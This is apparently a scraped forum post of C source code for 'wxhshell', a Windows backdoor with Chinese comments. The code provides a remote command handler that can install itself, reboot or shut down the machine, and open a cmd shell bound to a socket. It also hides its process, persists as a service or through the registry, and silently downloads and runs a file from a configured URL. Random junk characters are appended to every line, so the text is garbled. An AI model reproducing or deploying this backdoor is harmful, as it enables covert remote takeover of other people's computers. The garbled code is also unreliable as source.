  case '?': { ymT]ow6C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); prB:E[1  
    break; 8#4Gs Q"  
  } [?(qhp!  
  // 安装 #a'CoJs   
  case 'i': {  v&7x ~!O  
    if(Install()) _d+` Gw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9>ZX@1]m_  
    else t}MT<Jj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CK_\K,xVT  
    break; wRq f'  
    } :c`djM^ll  
  // 卸载 XhN?E-WywQ  
  case 'r': { F5M{`:/  
    if(Uninstall()) yVJ)JhV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Ao.b|mm  
    else sDu&9+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +vPCr&40  
    break; f9hH{ ( A  
    } Ri}JM3\J  
  // 显示 wxhshell 所在路径 ;!OME*?m<  
  case 'p': { V#c=O}  
    char svExeFile[MAX_PATH]; ;<%d^   
    strcpy(svExeFile,"\n\r"); PWyFys  
      strcat(svExeFile,ExeFile); +eop4 |Z  
        send(wsh,svExeFile,strlen(svExeFile),0); rP/W,! 7:K  
    break; &ha<pj~  
    } T(k:\z/  
  // 重启 L Z3=K`gj  
  case 'b': { q^~w:$^ U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o[S Mt  
    if(Boot(REBOOT)) $N|Spp0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RLGIST`  
    else { zE7)4!  
    closesocket(wsh); Ie8SPNY-H  
    ExitThread(0); q~X}&}UT  
    } B*^QTJ  
    break; L:jv%;DM  
    } cCIs~*D  
  // 关机 3ZvQUH/{W  
  case 'd': { u N_<G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a`Q-5* \;z  
    if(Boot(SHUTDOWN)) SL_JA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ppx4#j  
    else { j tqU`|FSQ  
    closesocket(wsh); pwF])uf*{\  
    ExitThread(0); Hq,N OP  
    } nQn=zbZ3  
    break; 9A}y^=!`  
    } 7'@~TM  
  // 获取shell wB<cW>6  
  case 's': { {P%\& \{F  
    CmdShell(wsh); ("=24R=a  
    closesocket(wsh); Cio (Ptt:  
    ExitThread(0); Yof ]  
    break;  AZ-JaE  
  } "<"s&ws;k  
  // 退出 4 X0ku]  
  case 'x': { b'RBel;W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j'UW gwB  
    CloseIt(wsh); 7qdB   
    break; p#gf^Y5  
    } cWI7];/d;  
  // 离开 lW]&a"1$  
  case 'q': { ZZ>(o d!B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u#3Cst8Y  
    closesocket(wsh); NF7+Gp6?q  
    WSACleanup(); $@[Mo   
    exit(1); +V#dJ[,8;.  
    break; / 6DW+!  
        } %y)LBSxf  
  } 1\5po^Oioy  
  } _ n4C~  
xB}B1H%  
  // 提示信息 YH-W{].  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @rr\Jf""z  
} =DI/|^j{ ;  
  } ;]2d%Qt  
Nh6!h%  
  return; a3:1`c/~\  
} D5!I{hp"  
|(9l_e|  
// shell模块句柄 J z-RMX=  
int CmdShell(SOCKET sock) &3P"l.j  
{ c2yZvi  
STARTUPINFO si; Angt=q  
ZeroMemory(&si,sizeof(si)); -V||1@ |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s6I/%R3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ) =|8%IrB  
PROCESS_INFORMATION ProcessInfo; kO,vHg$  
char cmdline[]="cmd"; <ol? 9tm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +^%0/0e  
  return 0; @$?*UI6y  
} F4g3l    
H8!lSRq  
// 自身启动模式 0|(6q=QK  
int StartFromService(void) Wk]E6yz6  
{ /? Bu^KX  
typedef struct A&Cs (e  
{ E |=]k  
  DWORD ExitStatus; @u8kNXT;h  
  DWORD PebBaseAddress; %v]-:5g'|  
  DWORD AffinityMask; ' h|d-p\`9  
  DWORD BasePriority; +)7h)uq  
  ULONG UniqueProcessId; x|3G}[=  
  ULONG InheritedFromUniqueProcessId; ^]$rh.7&  
}   PROCESS_BASIC_INFORMATION; ~|`jIqU  
G\*`%B_ n  
PROCNTQSIP NtQueryInformationProcess; 44UN*_qG  
n5?7iU&JIo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ymA8`k5>@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `(@{t:L  
w#;y  
  HANDLE             hProcess; ,h.hgyt  
  PROCESS_BASIC_INFORMATION pbi; IVG77+O# }  
[uu<aRAg3O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zB+zw\ncN  
  if(NULL == hInst ) return 0; alZ83^YN'  
YU1z\pK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aOW$H:b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5K$d4KT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sHHu<[psM  
kJ B u7  
  if (!NtQueryInformationProcess) return 0; .vpx@_;]9  
LLwC*)#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !A"-9OS2  
  if(!hProcess) return 0; ^L's45&_  
\-:4TuU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z]^O=kX7k  
%eE 6\f%g  
  CloseHandle(hProcess); t` zPx#])  
q_0,KOGW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a8Z{-=)  
if(hProcess==NULL) return 0; WD#7Q&T(;  
ks<+gL{K|i  
HMODULE hMod; *g 2N&U  
char procName[255]; {7 nz:f  
unsigned long cbNeeded; R,W w/D  
Br"K{g?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0u ,nSvch  
hu-6V="^9  
  CloseHandle(hProcess); h) W|~y@  
J|dj`Z ?  
if(strstr(procName,"services")) return 1; // 以服务启动 @86I|cY  
H`8}w{ft&  
  return 0; // 注册表启动 rh6m  
} [u/Wh+  
DgC;1U'  
// 主模块 W/<C$T4  
int StartWxhshell(LPSTR lpCmdLine) ((]Sy,rdk  
{ &+8cI^ kp  
  SOCKET wsl; 'V:ah3 8  
BOOL val=TRUE; /??nO Vvt  
  int port=0; FeuqqZ\=&  
  struct sockaddr_in door; <0H^2ekd  
b'G!)n  
  if(wscfg.ws_autoins) Install(); =' #yG(h  
etH]-S  
port=atoi(lpCmdLine); |&rxDf}W  
Np R&`]  
if(port<=0) port=wscfg.ws_port; ykG^(.E  
hSSFmEpr  
  WSADATA data; -Sj|Y }  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x=VLRh%Gvl  
R8fB 8 )  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7cZ(gdQ/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9K_p4 mq  
  door.sin_family = AF_INET; X h"8uJD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |ea}+N  
  door.sin_port = htons(port); Cb;49;q  
P:v|JER   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zgA/B{DaC;  
closesocket(wsl); bJ9K!6s??`  
return 1; 33b 3v\N  
} O4Hc"v  
0o-KjX?kP  
  if(listen(wsl,2) == INVALID_SOCKET) { W= $, \D+  
closesocket(wsl); r7n-Xe  
return 1; u6~/" _FwY  
} K1^x+I7%U[  
  Wxhshell(wsl); ]"4\]_?r  
  WSACleanup(); x)^t5"F  
f hr QJ  
return 0; ;TG<$4N  
lAx^!#~\  
} +(J{~A~  
SHP_  
// 以NT服务方式启动 ER*Et+ >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y4 ~;H{!  
{ S%k](\7!  
DWORD   status = 0; 8zk?:?8%{  
  DWORD   specificError = 0xfffffff; zsha/:b  
44(l1xEN+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *9xv0hRQ%?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j_HwR9^fd,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8K0@*0  
  serviceStatus.dwWin32ExitCode     = 0; 5$L=l  
  serviceStatus.dwServiceSpecificExitCode = 0; cSs??i D"q  
  serviceStatus.dwCheckPoint       = 0; hQ}B?'>  
  serviceStatus.dwWaitHint       = 0; N?krlR  
@F0+t;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U<mFwJ C]  
  if (hServiceStatusHandle==0) return; x6B_5eF  
%oqC5O6  
status = GetLastError(); 6$*ZH *  
  if (status!=NO_ERROR) v6`TbIq%  
{ #&ZwQw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ([L5i&DT  
    serviceStatus.dwCheckPoint       = 0; 0'4V*Y  
    serviceStatus.dwWaitHint       = 0; fI1,L"  
    serviceStatus.dwWin32ExitCode     = status; !_My]>S  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fb9!x/$tGV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gl~>MasV&  
    return; .l(t\BfE~  
  } JVeb$_0k  
Ju.B!)uS#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WaYT7 :  
  serviceStatus.dwCheckPoint       = 0; +Q6}kbDI  
  serviceStatus.dwWaitHint       = 0; XhEd9>#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;;g'C*_  
} ([a[ fi  
f|X./J4Bl  
// 处理NT服务事件,比如:启动、停止 ?oO<PR}y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tW |K\NL  
{ sX$EdIq  
switch(fdwControl) _MC\\u/C/  
{ (r+#}z}  
case SERVICE_CONTROL_STOP: 'CSIC8M<j  
  serviceStatus.dwWin32ExitCode = 0; (R)(%I1Oz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O4i5 fVy{  
  serviceStatus.dwCheckPoint   = 0; }+Ne)B E  
  serviceStatus.dwWaitHint     = 0; jLu`DKB  
  { szx7CP`<8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W4~:3 Sk  
  } Ot#O];3  
  return;  iI(7{$y  
case SERVICE_CONTROL_PAUSE: G 0;5I_D/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dy%#E2f  
  break; ypK1 sw  
case SERVICE_CONTROL_CONTINUE: NWq>Z!x`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lYq4f|5H}m  
  break; s9'lw'  
case SERVICE_CONTROL_INTERROGATE: Mk~]0d  
  break; "]M]pR/j  
}; PA(XdT{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vx6/Rehj  
} B5Y 3GWhrx  
8V$:th('  
// 标准应用程序主函数 (d2|r)O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RiX~YL eM  
{ v2uyn  
HX77XTy  
// 获取操作系统版本 |nFg"W  
OsIsNt=GetOsVer(); 8 aHs I(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w[S!U<9/  
 8~>5k  
  // 从命令行安装 D L0i  
  if(strpbrk(lpCmdLine,"iI")) Install(); J<4 egk4  
oSOO5dk:z  
  // 下载执行文件 NY`$D}Bi  
if(wscfg.ws_downexe) { ,>rr|O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rr|&~%#z  
  WinExec(wscfg.ws_filenam,SW_HIDE); {:;599l  
} wtY*{m2  
D+ )R_  
if(!OsIsNt) { =E?!!EIq.  
// 如果时win9x,隐藏进程并且设置为注册表启动 (ugB3o  
HideProc(); C \B&'+uR  
StartWxhshell(lpCmdLine); LK1 r@  
} VdZmrq;?/  
else vxRy7:G"  
  if(StartFromService()) ^6E+l#  
  // 以服务方式启动 ?zD? -  
  StartServiceCtrlDispatcher(DispatchTable); {T0f]]}Q  
else K9YD)351t  
  // 普通方式启动  '9Hah  
  StartWxhshell(lpCmdLine); IP]"D"  
8 N5ga  
return 0; Q8kdX6NMd&  
}
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只看该作者 1 发表于: 2006-10-10
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